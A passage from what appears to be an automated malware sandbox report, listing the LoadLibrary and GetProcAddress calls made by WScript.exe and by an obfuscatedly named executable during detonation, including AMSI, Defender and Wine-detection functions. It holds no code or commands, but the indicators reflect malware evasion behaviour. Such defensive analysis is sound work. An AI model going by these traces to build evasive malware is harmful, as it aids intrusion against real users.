Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001952) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter Msctf.dll (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00004180)2e:T16bc1,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter SetCriticalSectionSpinCount (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00001952) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00001952) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoAddRefServerProcess (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoReleaseServerProcess (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoResumeClassObjects (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CoSuspendClassObjects (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAlloc (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFree (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePath2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreatePath2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipClonePath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeletePath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipResetPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPointCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathTypes (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathPoints (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathPointsI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathFillMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathFillMode (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathData (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipStartPathFigure (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipClosePathFigure (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipClosePathFigures (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetPathMarker (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipClearPathMarkers (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipReversePath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathLastPoint (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathLine (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathLine2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathArc (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathBezier (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathBeziers (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathCurve (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathCurve2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathCurve3 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathClosedCurve (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathClosedCurve2 (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathRectangle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathRectangles (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathEllipse (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathPie (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathPolygon (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathString (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathStringI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathLineI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathLine2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathArcI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathBezierI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathBeziersI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathCurveI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathCurve2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathCurve3I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathClosedCurveI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathClosedCurve2I (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathRectangleI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathRectanglesI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathEllipseI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathPieI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipAddPathPolygonI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipFlattenPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipWindingModeOutline (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipWidenPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipWarpPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipTransformPath (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathWorldBounds (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetPathWorldBoundsI (UID: 